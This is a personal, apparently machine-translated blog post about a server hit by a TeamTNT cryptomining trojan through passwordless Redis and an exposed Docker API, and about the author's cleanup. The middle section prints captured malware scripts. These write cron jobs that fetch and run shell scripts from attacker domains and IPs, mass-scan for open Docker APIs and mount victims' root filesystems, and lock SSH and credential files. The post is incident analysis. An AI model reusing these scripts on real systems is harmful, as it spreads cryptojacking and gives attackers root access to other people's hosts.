Today, WHEN I opened the server and tried to enter mysql in Docker to test sqlmode, I suddenly found that I could not enter mysql. Then I looked at mysql, and not only mysql, but all other applications also died.
The CPU usage of KSWAPd0 is too high because of insufficient physical memory. Swap partition and memory page swap operation are used to exchange data, resulting in too high CPU usage. (Later, I realized that it was not KSWAPd0 at all, but a Trojan disguised as kSWAPd0 to fool me.)
2394 is the process that consumes the most CPU, so I kill 2349
CPU down…
But I also found that there is a process 9951 PNScan occupation is relatively high, the same rules, open baidu search
So I realized that the server was invaded by a virus. I immediately went to find an anti-virus solution and searched through the Internet. I probably knew it was invaded by Redis.
See the familiar 6379, confirm from Redis intrusion no doubt, remember my Redis only test use, so there is no password set.
Find the pnScan process, kill all processes, and delete the pnscan script in the /usr/local/bin directory
rm -rf pnscan
Copy the codeWhen I was done, I thought it would be all right, but it still took up a lot of CPU
I found a lot of ways, but I still can’t solve it
I inadvertently used the netstat -ant command to check the network connection status
I don’t know until I check
2375, very familiar port, I opened it the day before yesterday to connect to the Docker deployment project remotely.
Suddenly I realized that there was more than one virus.
There is no danger in a hundred battles, so I went to find this blog Docker exposed port 2375 server attack solution!
Just use the following command to manipulate your Docker
docker -HTCP :// server IP:2375Docker commandCopy the codeThe docker’s official website:
Warning: Changing the default docker daemon binding to a TCP port or Unix docker user group will increase your security risks by allowing non-root users to gain root access on the host. Make sure you control access to docker. If you are binding to a TCP port, anyone with access to that port has full Docker access; so it is not advisable on an open network.
Informed of a possible invasion.
Solution: FOR now, I’ve turned off port 2375 remote connection
I am by modifying the vim/lib/systemd/system/docker. Service
The image below is what I added. Delete it
Then perform
systemctl daemon-reload
Copy the code
Continue with the [scan] process
ps -ef |grep scan
Copy the code
Enter/usr/share directory and found two suspicious program, why so clear?
Curiosity made me want to see what was written inside the shell
[scan] The captured part
#! /bin/bash
setenforce 0 2>/dev/null
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
function SecureTheSystem(a){
SYSFILEARRAY=(pstree kill pkill htop netstat ss lsof wget wge wdl curl cur cdl sysctl )
for SYSFILE in ${SYSFILEARRAY[@]}; do
SYSFILEBIN=`which $SYSFILE` 2>/dev/null 1>/dev/null
tntrecht -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chmod -x $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr +i $SYSFILEBIN 2>/dev/null 1>/dev/null
tntrecht +i $SYSFILEBIN 2>/dev/null 1>/dev/null
done
SYSTEMFILEARRAY=("/root/.ssh/" "/home/*/.ssh/" "/etc/passwd" "/etc/shadow" "/etc/sudoers" "/etc/ssh/" "/etc/ssh/sshd_config")
for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
tntrecht +i -R $SYSTEMFILE 2>/dev/null 1>/dev/null
chattr +i -R $SYSTEMFILE 2>/dev/null 1>/dev/null
done
}
sleep 1
if[-f "/bin/ps.original" ]
then
ps.original -fe|grep pnscan |grep -v grep
else
ps -fe|grep pnscan |grep -v grep
fi
if [ $? -ne 0 ]
then
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'config set stop-writes-on-bgsave-error no' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'config set dir "/etc/cron.d/"' >> .dat
echo 'config set dbfilename "zzh"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/etc/"' >> .dat
echo 'config set dbfilename "crontab"' >> .dat
echo 'save' >> .dat
sleep 1
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
while true; do
Copy the code[MASS] Intercept part
#! /bin/bash
if[-f /bin/cd1]; then aabb=/bin/cd1echo "cd1 exist"
elif [ -f /bin/curl]; then aabb=/bin/curl
echo "curl exist"
else
echo "curl not exist,use yum reinstall"
yum -y remove curl&&yum -y install curl
fi
chmod +x /usr/bin/zgrab
dAPIpwn(){
range=The $1
port=$2
rate=$3
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo ' ')
eval "$rndstr"="'$(masscan $range -p$port --rate=$rate | awk '{print $6}'| zgrab --senders 200 --port $port- HTTP = '/ v1.16 / version - the output - the file = 2 > / dev/null | grep - E' ApiVersion | client version 1.16 '| jq - r. IP)'";
for ipaddy in ${! rndstr}do
TARGET=$ipaddy:$port
echo '# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #'
$aabb -sLk http://107.3.150/input/da.php? vuln=$TARGET -o /dev/null
echo $TARGET
timeout -s SIGKILL 240 docker -H $TARGET run --rm -v /:/mnt alpine chroot /mnt/ /bin/sh -c "if ! type curl >/dev/null; then apt-get install -y curl; apt-get install -y --reinstall curl; yum clean all; yum install -y curl; yum reinstall -y curl; fi; echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\">/etc/crontab && echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\">/etc/cron.d/zzh"
done
}
Copy the codeMy redis port 6379 and port 2375, port 2376 have been hacked
Since it has been backed up (later analysis, know yourself and know your enemy), then ruthless RM-RF
Then I top
Found that there is a process masscan, no matter how I kill or restart
So I looked at the scheduled task CD /var/spool/cron/ and found out why
Without further ado, after recording rm -RF root
Boy, did it start again
After some searching and searching, I found that the virus process is more than Masscan
Finally, I found a relevant article about this mining Trojan: Tencent security intercept TeamTNT mining Trojan’s latest variant, the compromised host is installed IRC backdoor, attackers can achieve any purpose
Docker Remote API unauthorized access vulnerability attack was used, SSH attack was used to spread, and IRC backdoor was installed. The use of Masscan and Zgrab for external scanning to occupy broadband as mentioned in the article can be reflected in the figure above.
Unload Massage, Zgrab next, but when I tried to unload, YUM was also destroyed
When I tried to change the contents of Yum, it told me that the file was read-only, and then I changed the permissions and found that I couldn’t change the permissions
Run ls -l yum
---xr-xr-x. 1 root root 801 11month5 2018 yum
Copy the codeChattr -i yum chattr -i yum chattr -i yum chattr -i yum chattr -i yum chattr -i yum
Modify the Yum interpreter
I used find command to find masscan find-name masscan, found the executable file in bin directory, and directly deleted it
I’m going to cry, [mass] appears again, now I found a more suspicious process systemd-journal, search, dude, and systemd-journald is one letter short, this is definitely a Trojan horse process.
Tamping for a period of time, or can not be completely solved. Then I kill the process, it’s gone, and then I watch the process change. I watch it for a long time and it doesn’t appear [mass], but the Docker container is broken.
Finally I reset the server and replaced Debian.
Seems to be no trojans, but my environment has been destroyed, too bad, the system security is really important, I sometimes hear a friend (this is my friend) said that the database is black, extorted, systems are mining, in fact all of these can be avoided, in the later study work will be more focus on system safety, In the future, I will further study the vulnerability and virus and learn evasive solutions.
The reason why the server was invaded this time is mainly because Redis did not set the password and Docker did not carry out relevant verification after opening the remote API, and criminals used the program vulnerability to attack. Although it is just learning the environment, we still need to strengthen security treatment in the future.
Attached is ali Cloud vulnerability library link: Docker Daemon API unauthorized access Vulnerability
However, from another point of view, I think I have learned a lot of knowledge and increased experience, and re-building the environment can also consolidate my knowledge, welcome everyone to comment and leave valuable experience and suggestions.